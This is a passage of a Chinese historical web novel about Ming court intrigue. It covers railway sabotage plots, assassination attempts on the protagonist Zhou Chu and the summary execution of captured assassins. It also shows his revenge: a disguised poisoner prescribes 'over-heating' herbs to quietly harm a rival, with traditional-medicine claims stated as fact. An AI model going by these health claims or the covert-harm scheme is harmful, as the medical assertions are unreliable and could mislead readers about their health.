官职高一些的,倒也不舍得如此拼命,比如兵部侍郎,还在犹豫的时候,这个五品官已然站了出来。 “陛下,臣也愿往!” 兵部的另一个官员也站了出来。 “陛下,臣愿意出使西域。” ..... 随着户部的一个个官员纷纷出列,生怕被他人抢去了出使西域的活,嘉靖会心一笑。 不过表面上嘉靖还是要装作一副为难的模样。 “哎呀,这件事容朕再考虑考虑,考虑考虑。” 嘉靖摆了摆手道。 “诸位,这件事不宜操之过急,想要往西打,铁路得先跟上。” 一旁的周楚说道。 “哎呀,周大人,你看老夫都这把年纪了,还不知道能活几年呢?老夫就想看着大明达到巅峰,让大明远迈汉唐,周大人就成全老夫这个心愿吧!” 王宪拉着周楚的手,有些哀求道。 “王大人不必心急,草原上的铁路从一年前开始就开始修了,相信最多半年,就能彻底完工,毕竟那是草原,原本很多原材料运过去比较困难,但现在不一样了,火车可以运行了,以后有了火车,这些原材料就会源源不断的送到草原,王大人应该催一催户部和工部。” 周楚笑道。 王宪听到这话,顿时来了精神,来到了张璁面前。 “张大人,户部的拨款可曾到位?” “王大人放心,修建铁路的钱,我户部是一厘都不敢卡。” 张璁苦笑道。 “维纲,工部一直在催,放心吧,周大人说得对,半年之内,必然完工。” 工部尚书眼看着王宪走了过来,急忙说道。 王宪听到这话,才心满意足的回到了嘉靖面前。 “陛下,草原上的铁路半年就完工了,还望陛下早做准备。” 王宪行礼道。 对于王宪这个急脾气,嘉靖还真拿他没什么好办法,毕竟王宪这个年纪了,谁不想趁着自己还在位的时候,为大明建功立业。 “你还真是个急性子,既如此,你们兵部商议一下,看看谁出使叶尔羌汗国合适。” 嘉靖有些无奈道。 “臣定不负陛下所托。” 王宪听到这话,顿时来了精神。 出使的使团,一般有正副两个使者,王宪很清楚,这次他们兵部的这些个官员,恐怕会为了这两个名额争破了头。 不过要让他当这个使者,他是干不了的,首先年纪就太大了,恐怕还走不到就死半路上了。 其次就是王宪身居高位,该有的都有了,没必要拼命了。 那些想拼命的,都是些五六品的官员,像之前的欧阳必进,能用自己的死换来自己的儿子封侯,一切都值了。 原本杨一清想着这一两年致仕的,但现在的情形,让杨一清和王宪一样,生出了一种时不我待的急迫感,他也想趁着自己在位期间,将大明的版图继续往西扩一扩。 “陛下圣明。” 杨一清说道。 “陛下圣明!” 杨一清都带头了,文武百官纷纷附和道。 此时百官对周楚的态度是极为割裂的,杨一清和兵部的那些官员,恨不得将周楚供起来,因为他们将来能不能建功立业,可都指着这位锦衣卫指挥使了。 但更多的官员,则是不希望火车全面运行,因为火车的运行对大明带来的改变太多了,这种改变是他们完全没有心理预期的,甚至是接受不了的。 大的改变代表着原本的许多利益会被打破,新的利益将会被划分。 但新的利益会不会划分给他们,甚至能不能比得上之前的利益,这都是一个很大的疑问。 对他们而言,能不改变尽量不要改变。 “散了吧。” 嘉靖摆了摆手,预示着这次火车的运行活动至此结束。 周楚刚回到家中,就看到了林瑶。 这一年来,林瑶在嘉靖和德清公主的示意下,基本上是见天的就往周府钻,原本林瑶就想这么做,只是碍于自己县主的身份,无论做什么事都要顾及影响。 但现在有了皇帝和自己亲娘的授意,林瑶便再无顾忌,恨不得住在周府。 “衡器哥哥,火车的运行成功了吗?” 林瑶有些忐忑地看着周楚道。 这些天林瑶最关心的莫过于今日的火车能否拉动五十万斤的煤炭。 这几日她可没少听一些关于周楚的风凉话,好几次她的忍不住直接发火了,所以林瑶心里一直憋着一股气,她比周楚还要关心这次的结果。 “成功了。” 周楚点了点头,从林瑶旁边的果盘之中拿了一块寒瓜吃了起来。 “真的?” 林瑶听到这话,满脸惊喜的看着周楚。 “当然是真的,如今满朝文武都知道了,你可以去好好痛斥一番那些说我坏话的小姐了。” 周楚看着林瑶调侃道。 如今的周楚已经不再称呼林瑶为县主了,这是林瑶一再坚持的结果。 林瑶很清楚,倘若周楚一直称呼自己为县主,那么两人的关系很难再进一步。 林瑶被周楚戳破了心思,脸色一红。 “都怪他们,非说那些难听的话,我实在是听不下去,才骂了他们。” 林瑶有些窘迫的解释道。 “你是县主,骂她们她们也得受着,骂便骂了,更何况她们本身就不占理。” 周楚说着拿起一块寒瓜递给林瑶。 林瑶听到这话,如同喝了蜜一般,心中很是高兴,当即从周楚手中接过寒瓜吃了起来。 与此同时,那些与盐帮勾结的官员们,离开了站台之后,在有心人的刻意串联之下,很快就聚在了一起。 “如此下去,盐帮将不复存在啊,诸位。” 为首的一个官员看着这些人,说道。 “要我说,这事说难也难,说简单也简单,只要那火车出了问题,存在一定的危险,我等就可以上疏,以后运盐还是要走河运!” 另一个官员说道。 之前因为运盐的问题,朝中经过了数次激烈的争吵,原本海禁开了之后,运盐应该是走海运的,但这些官员以海运危险为由,坚持上疏,让朝廷继续使用河运。尛說Φ紋網 当时周楚不在京城,大明又在四处开战,嘉靖为了稳住局势,就没和这些人一般计较,这才导致盐帮这三年逐渐恢复了过来。 “此法可行!” 第349章 各方动作,暗流涌动,夏言的盘算 周楚离开京城,来到京城外的良乡。 这一年多的时间,周楚每个月最少要来良乡三四次。 因为方鸿一家都在良乡,而且如今的良乡很热闹,唐伯虎来到京城之后,大手一挥,让自己的学生都跟着周楚,贯彻周楚的教育方针,全都来到了良乡进行种地。 如此一来,唐伯虎就有时间潇洒快活去了。 在余姚山上的时候,唐伯虎憋坏了,要美人没美人,要美酒没美酒,就连书院的厨子做的菜和醉仙楼一比,也有些难以下咽。 现在来了京城,德清公主隔三差五的邀请唐伯虎去公主府,如今是嘉靖五年,德清公主已经年近五十,唐伯虎也已经五十有七,两人都是多年的好友,唐伯虎好不容易来京城,德清公主自然不会放过他。 两人都很清楚,他们如今算是见一面少一面,所以都格外的珍惜。 “见过老师!” 周楚刚一进入良乡之中,很多学子纷纷行礼。 原本周楚也是唐伯虎的学生,按理来说周楚和这些学子应该算是师出同门,算是他们的师兄,但周楚同时又是锦衣卫指挥使,还是学院的老师。 这些人刚开始都称呼周楚为大人,最后在周楚的要求下他们才改成老师。 如此一来,周楚也算是代师教徒,各论各的吧。 很快,周楚就来到了一处院落旁边,房子之中炊烟正袅袅升起,此时恰逢饭点,显然里面的人正在做饭。 “干爹,你来啦。” 周楚刚进院子,一个小孩惊喜的声音响起,不是别人,正是方恒。 这一年的时间,周楚来良乡,主要就是为了来看这个小家伙,同时陪陪他,至于良乡的学子,画画周楚教不了,毕竟周楚在这方面毫无天分,实际上这些学子跟着唐伯虎学了这么久了,已经步入了正轨,正是因此,唐伯虎才会放手。 周楚将方恒抱在怀里,看着自己的这个儿子,怎么看怎么喜欢。 “你娘呢?” 周楚问道。 “我娘在做饭呢,她说今天干爹应该回来,所以很早就在做饭了。” 方恒奶声奶气道。 周楚听到这话,抱着方恒来到了厨房之中,正好看到沈青正在忙碌。 此时的沈青添了一丝成熟的韵味,在良乡这一年,沈青倒也不需要劳作,所以和良乡的其他村妇一眼就能看出区别。 整个良乡所有人都清楚这一家子是大人物,倒也没人敢招惹,倒是小孩子们都不知道,经常和方恒打成一片。 周楚看着忙碌的沈青,将方恒放下,拿起锅铲开始帮沈青炒菜。 “不用你忙活,你和恒儿玩就行,我这马上就做好了。” 沈青看到周楚的到来,脸上满是笑容道。 “没事,一会有的是时间陪恒儿。” 周楚一边说着,一边继续炒菜。 此时院子里面进来几个小孩,这些小孩大多是三四岁,其中有些看上去要比周恒大不少。 “大哥,狗蛋和麻杆打起来了,你得管管啊。” 其中一个小孩看到方恒,如同看到了救星一般,说道。 方恒听到这话,顿时来了精神了,被一群小孩簇拥着离开了院子。 对于方恒的离开,周楚和沈青并没有说什么,整个良乡都有锦衣卫的人盯着,方恒绝不会出任何问题的。 “你也不管管他,现在这孩子都玩野了,前些日子想着给他开蒙,他完全学不进去。” 沈青看着周楚,说道。 “野点好,野点总比面了强,现在不挺好吗,恒儿都快成良乡的孩子王了。” 周楚笑道。 方恒这小家伙不愧是见过大世面的,自从进入良乡之后,仅仅两岁,却显得比同龄人成熟了许多。 而且言行举止之间,有着一股说不上来的味道,让良乡的其他孩子不自觉的就对他信服。 如今的方恒,虽然只有三岁多,但良乡同龄的孩子,甚至比他大两岁的孩子,基本都以他为首。 良乡这种乡下地方,农户们平日里都忙得很,家里的孩子基本都放养,漫山遍野的跑,大家也都习惯了,没人会因此大惊小怪。 “可是以后我想让他读书考取功名。” 沈青有些担忧道。 “各人自有各人命,倘若恒儿是读书的材料,我自会为他寻找名师,倘若他不是这块材料,硬逼着他学也是没什么用,反而会适得其反,大不了等他长大了,让他进锦衣卫嘛,只要武功不落下就好。” 周楚一边将锅里的菜盛出来,一边说道。 此时方鸿刚好从外面回来。 “大人,您来了。” 方鸿看到周楚,高兴道。 “正好饭做好了,来吃饭吧。” 周楚看着方鸿道。 至于方恒,这个年纪的孩子一旦跑的野了起来,饭点是从来不吃饭的,周楚倒也不担心他会饿着,沈青每次都会为他留下饭菜,等他野够了回来吃。 “大人,您真是料事如神啊,根据那些同僚所说,最近铁路附近出现了一批人,总是在铁路附近,像是在踩点。” 方鸿说道。 周楚听到这话点了点头。 “这点并不意外,火车的出现会打破很多人的利益,最起码和盐帮勾结的那帮官员不会看着火车这么顺利的运行的,肯定会搞点小动作,比如炸铁轨,铁路这么长,只有千日做贼的,哪有千日防贼的。” 周楚一边把饭菜放在桌子上,一边说道。 “这么下去不是办法啊大人,铁路这么长,谁知道他们会炸哪一段?到时候要是出了意外....” 方鸿欲言又止道。 “这事并不难解决,每一段铁路都安排一个人巡查,比如五里安排一个人,可以安排那些流民,成为固定职务,如此一来,是不是多了很多职务?少了许多流民?” 周楚看着方鸿说道。 “让这些人每天巡查,一天至少十趟,发现问题及时上报,倘若听到爆炸声,一定要及时检查,责任到人,一旦铁轨被炸,及时叫停火车,紧急修复。” 周楚条理清晰道。 “大人真是神机妙算。” 方鸿拍马屁道。 “吃饭吧。” 周楚说着拿起桌上的馒头,三人开始吃饭。 三人吃完饭没多久,方恒折腾的一身泥回来了。 “怎么弄的这么脏?” 沈青有些责怪道。 “刚才狗蛋和麻杆打架,打红眼了,我说他们也不听,我就和他们打了起来。” 方恒有些不好意思道。 “那最后怎么样了?” 沈青一边帮方恒擦着,一边问道。 “我用干爹上次教我的那几招,把他俩都打服了。” 方恒满脸得意道。 “恒儿就是厉害。” 周楚夸赞道。 周楚这话刚说完,一个穿着常服的锦衣卫急匆匆地走了进来。 周楚看到此人神情,就明白他是有事汇报。 “恒儿,赶紧跟娘进屋吃饭,都快凉了。” 沈青见状,将方恒叫走了。 “什么事?” 周楚看着眼前的锦衣卫说道。 “大人,我们的人查到几个人,他们好像正在密谋要炸毁铁路的事。” 锦衣卫半跪在周楚面前道。 周楚听到这话,顿时有些意外,不过想想,倒也很合理。 如今的京城,但凡有点风吹草动都瞒不过锦衣卫的耳目,想在锦衣卫的眼皮子底下干这事,难度不是一般的大。 “可曾打草惊蛇?” 周楚问道。 “回大人的话,不曾打草惊蛇,就等大人示下呢。” 锦衣卫恭敬道。 “那就不要打草惊蛇,脓疮发出来才能挤掉,不发出来总是隐患,安排一些得力的人手盯着就行,不要被他们察觉了。” 周楚说道。 “是。” 锦衣卫领命离去。 交代完这些事之后,周楚开始在良乡逛了起来,很快就看到了一个黑胖子,不是别人,正是严世蕃。 周楚的学生,大多都不在良乡了,如海瑞等人,现在基本都在南镇抚司,像胡宗宪赵贞吉等人,跟着周楚征战了两年多的时间,之前已经是军中的将领。 当然,胡宗宪和赵贞吉还是想考科举的,这一点并不会变,所以回京之后,周楚就将他们在军中的官职拿掉了。 不然两人身负军籍无法科举。 并非两人不喜欢行军打仗,而是现如今的大明,武将的地位比文官低得多,即便考了科举,成了文官,将来也是可以指挥大军作战的,这并不冲突。 胡宗宪和赵贞吉在一年前考中了秀才,成绩都非常好,陆炜在一年前经过周楚的敲打,努力奋进了一段时间,已经中举了。 如今周楚的学生之中,只有严世蕃还在良乡之中种地,原本良乡之中的那些学子还有些忌惮严世蕃的身份,但当周楚说出那句良乡之中没有身份之别的时候,严世蕃再次沦为整个良乡学子的底层。 因为这货的脾气根本不是一般人受得了的,很容易被人打。 “老师,我什么时候能离开良乡啊?” 严世蕃看到周楚,仿佛看到了救星一般,此时严世蕃脸上的淤青还没有完全消失,显然前几日刚被打过。 “什么时候你能把你这一身臭毛病彻底改掉,改掉你嘴臭的毛病,就可以离开了。” 周楚看着严世蕃,没好气道。 原本周楚已经把严世蕃调教的差不多了,但周楚去西藏的两年时间,严世蕃古代萌发,而且还变本加厉,这让周楚意识到,严世蕃需要更长时间的磨砺,否则他的这种性格不能被彻底磨掉,只会反弹。 严世蕃听到这话,顿时如同霜打的茄子一般。 “你要明白一个道理。” 周楚看到严世蕃这副模样,叹了口气道。 “什么道理?” 严世蕃有气无力道。 “良乡的这些学子并不是你的敌人,他们本可以和你成为朋友的,你为何不能尝试好好和人相处呢?” 周楚看着严世蕃,说道。 “倘若你学不会和其他人好好相处,就要做好一直挨打的准备,你好好想想吧。” 周楚懒得和严世蕃多说,说完这话便离开了。 留下严世蕃一人留在原地陷入了沉思之中。 “大人,不太对劲,后面有尾巴。” 周楚从良乡离开之后,沈炼低声道。 “让我们的人动一动。” 周楚挥手道。 周楚这话一出,沈炼对着周围吹了个极其响亮的口哨。 口哨响起的瞬间,周围暗中跟随的锦衣卫纷纷出来,将那些跟在周楚身后的一群人去全都抓了起来。 “大人,该如何处置?” 为首的锦衣卫来到周楚面前,躬身道。 “全都杀了吧,别留活口。” 周楚冷声道。 “是,大人。” 随着锦衣卫领命,那些被抓住的刺客全都被就地正法。 周楚看着这些人的尸首,陷入了沉思。 原本周楚以为这些人最多炸一炸铁轨,没想到居然如此胆大妄为。 还是说有人想浑水摸鱼,借着这些人的名头来刺杀自己? 不过无论如何,周楚现在都不想细究,这些人必须得死,不杀这些人,或许能揪出少数几人,但不能将这些人一网打尽。 只有等这些人动手了,炸了铁轨,周楚才能下令将这些人一网打尽。 脓疮往往到了足够严重的时候,才能很容易的挤干净,挤早了,挤不出什么东西。 “老爷,那些死士全都被锦衣卫杀死了。” 夏言府上,管家对夏言说道。 夏言听到这话,并不意外,只是喝了一口茶。 “那周楚身边,果然都是锦衣卫,想要动他,得另寻他法,多派些人出去,放火,下毒,只要能把周楚弄死都行。” 夏言面容阴狠道。 “老爷,这么做,不怕....” 管家欲言又止道。 “不怕,现在那些和盐帮勾结的蠢货恐怕要对铁路动手,以周楚的性格,在他们动手之前,不会打草惊蛇,即便有人刺杀他,他也不会留活口,为的就是让那些蠢货放心。” 夏言冷笑道。 如果说谁对周楚最了解,不是杨一清,也不是杨慎,反而是一直将周楚视为眼中钉肉中刺的夏言。 “那些蠢货已经是修后的蚂蚱还不自知,不过如此一来,倒也为我们提供了机会。” “记住,行动要快,兵贵神速,过了这个村,就没这个店了。” 夏言吩咐道。 第350章 被频繁刺杀,周楚对夏言的反击 周楚发现自己最近遇到的刺杀愈发频繁了,哪怕偶尔心血来潮,出门吃一次小吃,都可能被下毒,好在周楚行事从来都很谨慎,沈炼这一年的时间,跟着北镇抚司那个识毒的学了很多,虽然不如那人专业,但一般的毒也是能看出来的。 甚至还会经常遭遇冷箭,这种冷箭最难防,不过却也好避免,这段时间,周楚出行,都会让锦衣卫暗中先把路线上的宅子都排查清除,倒不是周楚排场大,只是这段时间必须如此,否则一个冷箭就可能让周楚陷入万劫不复之地。 周楚家的宅子守卫森严,即便如此,还是抓住了好几波在夜里试图放火的人,都让周楚处理了。 这种不择手段的做法,让周楚有种很熟悉的感觉,周楚很清楚,如此密集的刺杀,不可能是那些人做的,那些勾结盐帮的官员,虽说也可能刺杀,但不会有这么大量的死士,毕竟那些官员大多是三品甚至三品以下的官员。 说一句乌合之众都不为过。 从这些手法之中,周楚能明显的感觉到,夏言肯定混在其中,浑水摸鱼,想要趁机除掉自己。 周楚现在不想乱了大局,但也不会因此放过夏言。 因此周楚进了一趟皇宫。 “衡器,你没事吧?这些天你尽量少出门,这些人真是胆大包天!” 嘉靖看到周楚之后,神情愤怒道。 周楚遭遇如此密集的刺杀,作为皇帝,嘉靖不可能不知道。 “陛下,如此密集的刺杀,这么多的死士,恐怕不是这些人能做到的。” 周楚说道。 嘉靖听到这话,瞬间来了精神。 “你的意思是,有人浑水摸鱼?你觉得会是谁?” 嘉靖急忙问道。 “京城之中,能培养这么多死士的人不多,能如此不择手段的,恐怕只有夏言夏阁老了。” 周楚冷笑道。 嘉靖听到这话,顿时一愣,他没想到夏言会这么狠,毕竟之前一直有周楚替他遮风挡雨,夏言并没有对他动过手。 “你可有对策?” 嘉靖看着周楚,问道。 “之前夏言和臣打赌输了,臣自然要派个大夫去给他好好治一治病,只是臣只让大夫去的话,恐怕开的药他未必会吃。” 周楚看着嘉靖道。 “这个好办,让黄锦跟着一起去,看着他把药吃下去。” 嘉靖听到这话,笑道。 不过随即嘉靖脸色一转。 “不过你这个大夫开的药,可要有分寸。” 嘉靖话里的意思很明显,可以给夏言治出点问题,但不能把夏言治死。 毕竟夏言再怎么说也是内阁成员,是嘉靖平衡朝堂的重要棋子之一,倘若夏言这个阁老被周楚派去的大夫治死了,周楚也难辞其咎。 “陛下放心吧,臣心里有数。” 周楚行礼道。 “那就行,黄锦,你跟衡器走一趟。” 嘉靖看向一旁的黄锦道。 “是,主子。” 黄锦恭敬道。 黄锦说完这话,跟着周楚一路出宫,回到了周府。 “北镇抚司那个懂医理的,叫什么来着?” 回到家中,周楚看着沈炼,问道。 周楚说得好听,懂医理,实际上就是研究毒药的那位。 “不管了,去把他叫过来,让他换上大夫的衣服,来我这,我有话吩咐他。” 周楚想了半天,也没想起此人叫什么名字,说道。 沈炼听到这话,急忙去北镇抚司叫人。 很快,此人就来到了周楚面前。 “属下见过大人,见过黄公公。” 此人行礼道。 “不必多礼,你去夏阁老府上,帮他瞧瞧身子,看看他身子有什么问题,倘若夏阁老的身子偏热,就给他开些人参什么的名贵药材,要是偏寒,就开一些石膏、黄连这些药物,一定要把夏阁老的身子骨调理好,知道吗?” 周楚看着此人说道。 黄锦在身旁,虽说周楚清楚黄锦完全是站在自己这边的,但很多话也不能说的太直接,周楚话里的意思很明确,倘若夏言的身子偏热,就给他继续开一些大热的药材,吃下去准好不了,如果偏寒,就开一些大寒的药物,吃下去也没好。 总之一句话,没病治出病,小病治成大病。 “属下明白,大人放心。” 此人虽然精通毒药,但也同样精通其他药理,周楚一说,他就明白眼前的指挥使大人要自己如何做了。 “黄公公,倘若夏阁老不肯吃药,还望黄公公督促一番。” 周楚看着黄锦说道。 “周大人哪里的话,咱家跟你来不就是办这件事来了吗?这位......大夫,我们走吧。” 黄锦说着在前面带路,带着这位假扮大夫的锦衣卫一路来到了夏言府上。 “陛下口谕,夏言接旨。” 黄锦来到夏府之后,夏言得到消息急忙出来迎接,黄锦看到夏言之后,顿时抬高了眉眼,高声道。 夏言听到这话,急忙跪在了黄锦面前。 “夏公谨和周衡器前几日打赌输了,正所谓愿赌服输,周衡器也是为了你好,特意找了个大夫给你调理身子,你这身子确实也该好好调理一番了。” 黄锦学着嘉靖的语气,将这段话说了出来。 夏言听到这话,夏言脸都绿了,他看着跟在黄锦身后的那个人高马大的大夫,看这身形说是夏言毫不怀疑,这是周楚从锦衣卫之中临时找的一个人,这种人真的会看病? 不过事已至此,夏言知道自己说什么也没用,夏言很清楚,周衡器之所以这么做,应该是多少察觉到这些天刺杀他的人是自己派出去的,否则不会如此。 一想到这里,夏言心里就缓和了许多,毕竟这么多天,自己派出这么多人刺杀周楚,特别是第一次放冷箭,差一点就得手了。 做任何事都要有代价的,夏言很清楚,自己这么做,周衡器不可能什么都不做,既然如此,治病就治病吧,大不了把身子吃的差一些,回头还是可以调理回来的,毕竟自己才四十多,有的是时间。 “既然如此,那就有劳大夫了。” 夏言看着眼前的锦衣卫,说道。 “夏大人言重了,我们先进屋吧,容在下为大人把一把脉。” 锦衣卫装作一副斯文的模样,说道。 其实从方才观察夏言,此人就已经看出来了,眼前的夏言肝火旺盛,体内偏热,正常而言应该吃一些降燥滋阴的食物或者药。 比如平日里多吃一些梨子,或者用梨子炖汤喝,都是极好的。 梨子性寒,却也不会大寒,偏温,最重要的是很多人明明阳气很足,那方面却不行了,就是因为肾水枯竭,肾水枯竭之后,喝水是补不进去的,这个时候一般是需要食补。 梨子就是一个滋阴补肾水的好东西,这一点很多人不清楚,但这个锦衣卫却是研究颇深。 当然,梨子只适合阳气足,肾水不足的情况,倘若阴阳两虚,那就需要一边补阳气,一边补肾水,要两手抓(划重点)。 不过这个锦衣卫自然不可能给夏言这么开药,或者开食谱,他跟着夏言和黄锦来到了正厅,夏言坐定,平缓呼吸之后伸出了右手。 锦衣卫帮夏言把了把右手的脉相,果然和他所料想的一般无二,夏言乃阴虚火旺之脉,此时夏言体内的阳气如同一把火,不断地炙烤着他体内的体液和肾水,当然,夏言的症状并不明显,只是稍微有点罢了,按理来说,只要好好调理,很容易调理好。 但锦衣卫来这里是干嘛的?就是来加重他体内的症状的。 “夏大人有些阳虚,平日里是否有些力不从心?” 锦衣卫看着夏言,贴脸开大道。 夏言听到这话,顿时一脸的一言难尽,他想说没有,可这话当着黄锦的面是无论如何都说不出口的。 毕竟之前他在朝堂上,当着嘉靖和文武百官的面,亲口说的自己力不从心了。 现在要是否认,岂不是欺君? “以前确实是有些的,不过这段时间调理了一下,已经好多了。” 夏言只能如此说道。 锦衣卫听到这话,直摇头。 “夏大人只知其一,不知其二,人体内的阳气都是有数的,用一点就少一点,要适时补充,现在夏大人的感受只是错觉,不过大人这种情况倒也不严重,在下给大人开一些滋补的药就行了。” 锦衣卫说着看着夏言不再说话。 “去取笔墨纸砚过来。” 夏言顿时会意,看着一旁的下人,吩咐道。 很快,笔墨纸砚被拿了过来,锦衣卫拿起笔就开始开方子。 方子开的中规中矩,以人参为首,甚至还在其中加了淫羊藿这等大热的药物,看似补肾,实则是加速熬干夏言体内的津液和肾水,这服药刚吃的时候,会让夏言感觉自己异常的勇猛,从而丧失戒心,吃不了几幅,夏言体内的津液和肾水就如同被架在火上烤一般,被彻底榨干。 到了那个时候,夏言再想补救就来不及了。 不得不说,此人开的方子,看似大补,实际上极为凶险,关键是一般人还看不出任何问题来。 即便是拿给药铺的掌柜的看,不看夏言身体状况的话,也不得不说一句这个方子是大补的。 正所谓人参杀人无过,附子救人无功,一般的药方看到这种药方,也不会挑任何毛病,毕竟无论是人参,亦或是其中的很多药材,都是很名贵的。 不说如今,古往今来,大部分大夫都是庸医,一般瞧不出什么毛病的,都会开一些类似大补的药材,这种药材一开出来,病人家属一看就知道都是大补的,即便病人死了,也不会觉得是大夫的问题。 夏言接过方子,看了又看,夏言虽然不懂药理,但看着方子上的人参等药材,却是都是大补的,看着没有任何问题。 即便是淫羊藿这种东西,也不罕见,他们这种达官贵人平日里没少吃。 看了半天,夏言没有看出任何问题,就把方子递给了自家的管家。 “你去照方抓药。” 夏言说着给管家使了个眼色。 管家顿时会意,带着药方,出了夏府直奔药铺而去。 “掌柜的,照方抓药。” 管家将方子放在柜台上,说道。 “这不是李管家吗?您怎么还亲自来抓药了?” 掌柜的看到夏府管家,急忙恭维道。 “我家老爷身子有些不好,刚请了个大夫,你看看这方子有什么问题吗?” 管家说着给掌柜的递上了一锭五两的银子。 掌柜的不着痕迹的将银子收了起来,笑容满面地拿起了方子,仔细地看了起来。 “这方子倒是没什么问题,滋补的方子,还是大补。” 掌柜的看完之后,说道。 管家听到这话,顿时放下心来。 “那就先抓一副,要是效果好,回头再多抓几副。” “得嘞。” 掌柜的听到这话,转身开始抓药。 这一副药可不便宜,里面无论是人参还是其他药材,都是极为名贵的,不过夏言不在乎这点钱,越是贵的药,他反而吃的越放心。 很快,管家带着药回到了夏府。 “老爷,药抓来了。” 管家来到夏言和黄锦等人面前,恭敬道。 “给这位大夫看看,药有没有问题。” 夏言看着眼前的锦衣卫道。 夏言很清楚,有黄锦在这里,自己想偷奸耍滑是肯定做不到的。 管家听到这话,将手中的药包递给了锦衣卫。 “药材没错,大人找人煎药即可,水煎,三碗水煮成一碗水。” 锦衣卫说着将药包递还给了管家。 “去让人把煎药的炉子弄过来,就在这里煎。” 夏言看了一眼黄锦,发现黄锦的目光一直盯着药包,无奈道。 药当着众人的面被煎好之后,黄锦闻着那药散发出来的味道,不禁皱了皱眉头。 即便是夏言,闻到这股一言难尽的味道,也有些难以接受。 “大人,正所谓良药苦口,大人还需趁热喝了。” 锦衣卫苦口婆心道。 夏言听到这话,从管家手中接过那碗药汤,深吸了一口气,随后端起碗来,一口闷了。 喝药最忌讳的就是小口慢下,那样的话根本喝不下去,越喝越难喝。 一口闷了反而好一些。 紧接着夏言从管家手中接过一碗漱口的甜水,喝了一口,脸色这才缓了过来。 “多谢周大人关心,替本官谢过周大人。” 夏言脸色难看道。 第351章 找回自信的夏言,火车正式运行 夏言吃完药之后一个时辰左右,顿觉小腹一阵燥热,升阳之感很是强烈。 夏言四十多岁,虽然那方面还算勉强可以,但已经很多年没有过这种强烈的感觉了,这让夏言回忆起了当初二十左右的年纪,不说夜夜笙歌,但感觉和现在相差无几。 夏言心中暗喜,难道周衡器派来的这个人真有两把刷子? 想到药方上的那些药材,以及黄锦离开后夏言还特意问了一下管家,管家说过,那药铺掌柜的说过这方子没什么问题,是个补方。 这让夏言放心了大半,此时的夏言升阳之感愈发强烈,小脑掌控大脑,已然想不了这么多了,直奔自己小妾院中去了。 当年,夏言来来回回折腾了一个时辰左右,他从未感觉过自己如此的勇猛,看着旁边躺着满脸满足的小妾,夏言有种从未有过的满足感。 这种感觉,即便是他年轻的时候也未曾有过,年轻的时候最多也就是一两刻罢了,哪能和现在相比。 “神医啊。” 夏言心中忍不住感慨道。 夏言离开小妾的房间之后,活动了一下身子,发现除了因为折腾的太狠有点腿软之外,没有什么不适症状,愈发放心了。 “难道误会了周衡器不成?” 夏言腹诽道。 “去把那个姓张的郎中叫过来。” 夏言左右还是不太放心,决定叫一个自己熟悉的郎中来给自己好好瞧一瞧。 说起这个姓张的郎中,以前也是在夏府经常给夏言看病的,不过这个郎中本身也没多大本事,实际上不只是他,现如今大明的大夫郎中,多数都受到了温病派的影响,庸医极多。 大家都秉持着一个原则,不管有病没病,多开一些温补的药,总是没错的,至于能不能看好病,那就看天意了,治不好也怪不了我,我开的方子都是温补的。 之前夏言的身子骨一直不错,这个张姓郎中倒也一直混的不错,一直在给夏言开着温补的方子,这些方子夏府的其他人也会吃,身体要是没问题,吃这些方子倒是能把身体调理的不错。 但如果说这人有多大本事,倒也没有,他连基本的六经辨证都不太会。 说白了,就是在京城各个达官贵人府上混口饭吃,像夏言这种,有调理身体的需求,也就有了这种人的市场。 “见过大人。” 张郎中来到夏言面前,恭敬行礼道。 “你帮本官把把脉,看看我这身子可有什么问题?” 夏言看着眼前的郎中道。 张郎中听到这话,心里咯噔一下,心想难道是自己之前开的方子让这位大人吃出了问题? 一念及此,张郎中心里有些打鼓,不过他干郎中也不是一两年了,他的方子可能会吃出问题,但从方子上看是看不出任何问题的,都是些温补的药,能有什么问题? 想到这里,他稳了稳心神,坐在夏言旁边,开始帮夏言把脉。 “大人的脉象有些虚浮,稍微有些阳盛阴衰,大人是否这两日房事比较频繁?” 张郎中一边看着夏言的脸色,一边小心道。 虽然是混饭吃,但张郎中还是有点东西的,最起码把脉能看出很多问题。 夏言听到这话,点了点头。 “你这医术确实不错,我这身子可有问题?” 夏言看着张郎中问道。 “没什么太大的问题,不过是消耗有点大,大人这两日多吃点补的就行了。” 张郎中倒也没有趁机给夏言开方子,干他这一行,早就摸清楚了这些达官贵人的心思,你越是上赶着给人开方子,人家越是看不上,越不想吃,反而是他们自己开口,这样的话,他们吃着也会觉得有效果,自己还不用担责任。 夏言听到这话,暗松了口气,随后拿出之前锦衣卫开的方子,递给了张郎中。 “你看看这个方子,可有什么问题?” 郎中接过方子,看了看上面的药材,其中有不少药材和他之前开的方子都有所重合,毕竟都是补方,只不过他的是温补,一般不会出什么问题,但这个方子是大补,属于大热的药方。 张郎中不太懂六经辨证,他最擅长的就是把脉和开方子,自然看不出其中的问题,就算能看出来,他恐怕也不会说出来,毕竟这个方子和他平日里开的方子很像,倘若说这个方子有问题,岂不是也意味着他之前开的方子可能也有问题? “大人,这个方子是大补的,问题倒是不大,只是这淫羊藿,大人可以适量减少一些,这东西不适合长期服用。” 张郎中指着方子上的淫羊藿说道。 他原本是跟着一个老郎中学徒的,但学艺不精,只记得自己的老师说过,淫羊藿不能长期服用,否则会造成体内虚火旺盛,熬干津液,熬干肾水,肾水亏虚,导致心肾不想交之类的。 这些话他都记不太清了,只记得淫羊藿不能一直吃,至于原理,他忘的都差不多了。 他之所以说这话,倒也不是因为担心夏言的身体,而是觉得自己要是不说出一两条意见的话,反而显得自己什么都不懂,那样的话反而会露怯。 夏言听到这话,点了点头,不置可否。 “那就有劳先生了。” 夏言说完这话,看向一旁的管家。 “先生随我来。” 管家瞬间会意,领着张郎中去账房那里支钱去了。 管家回来之后,夏言将方子递给了他。 “按这个方子多抓几副药,淫羊藿的量减半。” 夏言吩咐道。 锦衣卫离开夏府之后,拜别了黄锦,直奔周府复命去了。 “大人,按您说的,夏言那老小子恐怕很难看出问题来。” 这个锦衣卫来到周楚面前,邀功道。 “说说看,开的什么方子,夏言身体如何?” 周楚喝了口茶道。 “夏言那老小子身子阳盛阴虚,不过不明显,问题也不大,但属下给他开的是大热的方子,人参、淫羊藿这种是一样没少开,这方子除非他能找到医术特别厉害的,否则是看不出问题的,不过如今的京城,基本都是庸医。” 这个锦衣卫满脸不屑道。 他们家本是医学世家,他自小就学六经辨证,医术很厉害,但医术厉害不代表他在行医这条路上能走的很远。 